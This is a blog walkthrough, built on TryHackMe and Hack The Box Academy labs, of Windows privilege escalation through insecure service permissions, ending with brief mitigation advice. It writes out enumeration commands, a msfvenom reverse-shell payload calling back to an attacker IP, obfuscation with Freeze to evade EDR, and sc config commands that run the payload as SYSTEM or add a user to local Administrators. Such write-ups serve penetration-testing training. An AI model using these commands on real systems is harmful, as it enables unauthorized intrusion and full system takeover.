WINDOWS PRIVILEGE ESCALATION

Privilege Escalation with Insecure Windows Service Permissions

Nairuz Abulhul

Follow

Published in

R3d Buck3T

7 min readAug 29, 2023

--

Guide to Privilege Escalation through Insecure Windows Service Permissions.

Credit — Photo by Bernd 📷 Dittrich on Unsplash

Windows services are an essential part of the operating system, providing various functions critical to the smooth running of a system. However, services can also be vulnerable to misconfiguration, which attackers can exploit to gain unauthorized access to a system.

There are many different ways that service misconfigurations can be exploited. Some common methods include:

Insecure Permissions on Service Executable
Insecure Service Permissions

In this article, we will discuss how Windows services can be misconfigured and provide ways to mitigate these risks. The steps for the demonstration are in the TryHackMe Windows Privilege Escalation room and the Hack the Box Academy Window Privilege Escalation module.

Getting the Required Tools
Insecure Permissions on Service Executable
– Service Enumeration (WinPeas, SharpUp, PowerUp)
– Service Abuse: Reverse Shell
Insecure Service Permissions
– Service Enumeration
– Service Abuse: Reverse Shell
– Service Abuse: Adding User to Local Admin Group

Getting the Required Tools

We will be using the tools below to conduct our service enumeration and identify misconfigurations that we can leverage later for the privilege escalation:
– Accesschk
– PowerUp.ps1
– WinPeas
– SharpUp
– iCACLS

Insecure Permissions on Service Executable

This misconfiguration occurs when a service’s executable has permissions that allow the attacker to modify or replace it with their own executable. This technique is useful if the service runs with elevated privileges such as SYSTEM.

To identify vulnerable services, we can use tools such as PowerUp.ps1, WinPeas or SharpUp.

WinPeas

To find information about services and their permissions in WinPeas, search for Services Information.

In the following example, we can observe that Splinterware Software Solutions has set the WService path to allow Everyone to write and create files on the service path directory located at ‘C:\PROGRA~2\SYSTEM~1\WService.exe.’

shows WinPeas identified vulnerable services under Services Information. r3d-buck3t medium — Figure 1- shows WinPeas identifies vulnerable services under Services Information.

SharpUp

SharpUp is a free and open-source tool that can check for weaknesses in Windows services. It can scan for a variety of vulnerabilities related to standard privesc techniques.

To run all the checks, execute the command audit. The tool has identified the WindowsScheduler service as vulnerable to modification, as shown below.

 .\SharpUp.exe audit

Figure 2- shows SharpUp identified WindowsScheduler service as modifiable. r3d-buck3t — Figure 2- shows SharpUp identifies the *WindowsScheduler service as modifiable.*

PowerUp.ps1

Upload the PowerUp PowerShell script and import it with the import-module command. Once done, you can run the checks using Invoke-AllChecks to run all checks or choose to run only the checks for service file permissions with the Get-ModifiableServiceFile command, which is less noisy.

Import-Module .\PowerUp.ps1

#runs all the checks 
Invoke-AllChecks

#run checks on service file permissions only
Get-ModifiableServiceFile

In Figure 3, the PowerUp Get-ModifiableServiceFile command displays a list of modifiable services. r3d-buck3t — Figure 3 — shows the PowerUp Get-ModifiableServiceFile command displays a list of modifiable services.

After identifying the vulnerable service executable, we can check it with icacls to verify the information.

icacls "C:\PROGRA~2\SYSTEM~1\WService.exe"

Figure 4- show checking the file permission with icacls. r3d-buck3t — Figure 4- shows checking the file permission with icacls.

Next, we can use the sc command to check which account the service is currently running under. The output shows that it is running under the account name “svcusr1”. Therefore, when we run our payload, we will switch the user from “thm-upriv” to “svcusr1”.

sc qc WindowsScheduler

Figure 5 shows that the sc command checks the service information on who runs the service. r3d-buck3t — Figure 5 shows that the sc command checks the service information on who runs the service.

The WindowsSchedule service is set on an AutoStart, which means the service starts automatically at system startup. That’s okay if we want to wait for the system to restart or force it to restart, which is not a stealthy way of doing this.

However, it would be even better if we could start and stop the service using our existing account. To verify this, we can utilize Accesschk and input the service name.

.\accesschk64.exe /accepteula -ucqv WindowsScheduler

As seen below, the user “thm-unpriv” has permission to start and stop the service.

Figure 6 — shows Accesschk output — the thm-unpriv user has the right to start and stop the WindowsScedule service. r3d-bcuk3t — Figure 6 — shows the Accesschk output; the thm-unpriv user has the right to start and stop the WindowsScedule service.

Knowing this information, we can create a reverse shell and replace the WService.exe executable with our shell. I’ll generate the payload with Msfvenom and obfuscate it with Freeze; it is a good tool for circumventing EDR security controls to execute shellcode stealthily.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.49.221 LPORT=7777 -f raw >  reverse-shell.bin

Figure 7 — shows generating the shellcode for a reverse shell with Msfvenom. — r3d-buck3t — Figure 7— shows generating shellcode for a reverse shell with Msfvenom.

./Freeze -I reverse-shell.bin -encrypt -O revShell.exe

Once compiled, we upload the file to the compromised machine, rename the original executable or copy it to another location, and move our executable to the directory and name it the same as the service’s original executable name.

Figure 9- shows moving the reverse shell executable to the vulnerable service directory. r3d-buck3t — Figure 9— shows moving the reverse shell executable to the vulnerable service directory.

Next, set up the netcat listener on port 7777. Then, stop and start the service using the sc commands. As shown below, we were able to escalate our privileges from the user thm-unpriv to svcuser1.

sc start WindowsScheduler

sc stop WindowsScheduler

Figure 10- shows gaining access to the machine as svcuser1. r3d-buck3t — Figure 10- shows gaining access to the machine as svcuser1.

Insecure Service Permissions

In certain instances, we may encounter insecure permissions on the entire service, not just in the executable path, as seen in the first scenario. This grants us the power to manipulate the executable to our preference by pointing to an executable that we have control over and operating the service as any user, even the SYSTEM itself.

As we proceed to the next section, we will continue using the same tools as before to identify the vulnerable services.

In the WinPeas output under Modifiable Services, we can see that we have full permission over the THMService (ALL Access), and it is currently operating under the low-priv user “svcusr3”.

Figure 11- shows WinPeas identifies THMService that has All Access permissions. r3d-buck3t — Figure 11- shows WinPeas identifies THMService that has All Access permissions.

Figure 12 — shows checking the service details with the sc qc command; the service runs as svcuser3. r3d-buck3t — Figure 12 — shows checking the service details with the sc qc command; the service runs as svcuser3.

With PowerUp, you can see the same output by running the Get-ModifiableService command.

#Import the module
Import-Module .\PowerUp.ps1

#Check service that can be modified
Get-ModifiableService

Figure 13 — shows the Get-ModifiableService command output b y PowerUp. r3d-buck3t — Figure 13 — shows the `Get-ModifiableService` command output b y PowerUp.

Next, we configure the service with the sc commands to run as SYSTEM and make it either execute our payload or add us to the local admin group for escalation. We will explore both ways:

Reverse Shell

First, we use Msfvenom to create a payload, which we obfuscate using Freeze. We then proceed to upload the payload onto the machine and use icacls to give Full access permission to Everyone. This step is crucial as, without it, the payload will not be able to execute properly.

 icacls C:\Users\thm-unpriv\revShell.exe /grant Everyone:F

Figure 14- shows granting the Everyone group full access to the reverse shell executable. r3d-buck3t — Figure 14- shows granting the Everyone group full access to the reverse shell executable.

Then, with the sc commands, we point the service binpath to our payload and configure it to run as LocalSystem.

sc config THMService binpath="C:\Users\thm-unpriv\revShell.exe" obj=LocalSystem

Figure 15- shows configuring the binary path of the reverse shell executable to run as a Local System. r3d-bucket — Figure 15- shows configuring the binary path of the reverse shell executable to run as a Local System.

Then, we double-check our configuration to ensure that everything is properly set up.

Figure 16 — shows that the service runs as a Local System, and the bin path is pointed to the research shell executable. r3d-buck3t — Figure 16 — shows that the service runs as a Local System, and the bin path is pointed to the research shell executable.

We stop and start the service. As shown below, we were able to escalate to NT Authority\System from thm-unpriv user.

sc stop THMService
sc start THMService

Figure 17 — shows escalating privileges to the System user. r3d-buck3t — Figure 17 — shows escalating privileges to the System user.

Local Admin Group

The second method is adding our user “thm-unpriv” to the local Administrator group with the sc config command.

sc config THMService binpath="cmd /c net localgroup administrators thm-unpriv /add" obj= LocalSystem

Figure 18- shows the original state of the administrator group before any modification. r3d-buck3t — Figure 18- shows the original state of the administrator group before any modification, then adding the user thm-unpriv to the local admin’s group.

Before proceeding, we verify our configuration to ensure everything is in place.

sc qc THMService

Figure 19 displays the updated THMService details after the modifications have been applied. r3d-buck3t — Figure 19 — shows the updated THMService details after the modifications have been applied.

Next, we stop, start the service, and run the net localgroup command. After executing the command, we can see that the user “thm-unpriv” has been added to the Administrators group.

Figure 20 — shows the thm-unpriv user has been added to the local admin’s group after we applied the service modification. r3d-buck3t — Figure 20— shows the thm-unpriv user has been added to the local admin’s group after we applied the service modification.

Mitigation

Use the principle of least privilege: Only give users the permissions they need to do their jobs. This will help reduce the number of people with access to sensitive files.
Group Privileges: Ensure that groups such as “Everyone,” “Users,” “Domain Users,” and “Authenticated Users” cannot modify or write service executables.
Regularly review file permissions: It’s important to frequently check them to ensure that they are accurate and that no unauthorized modifications have been made.

Thanks for reading today, that’s all for now.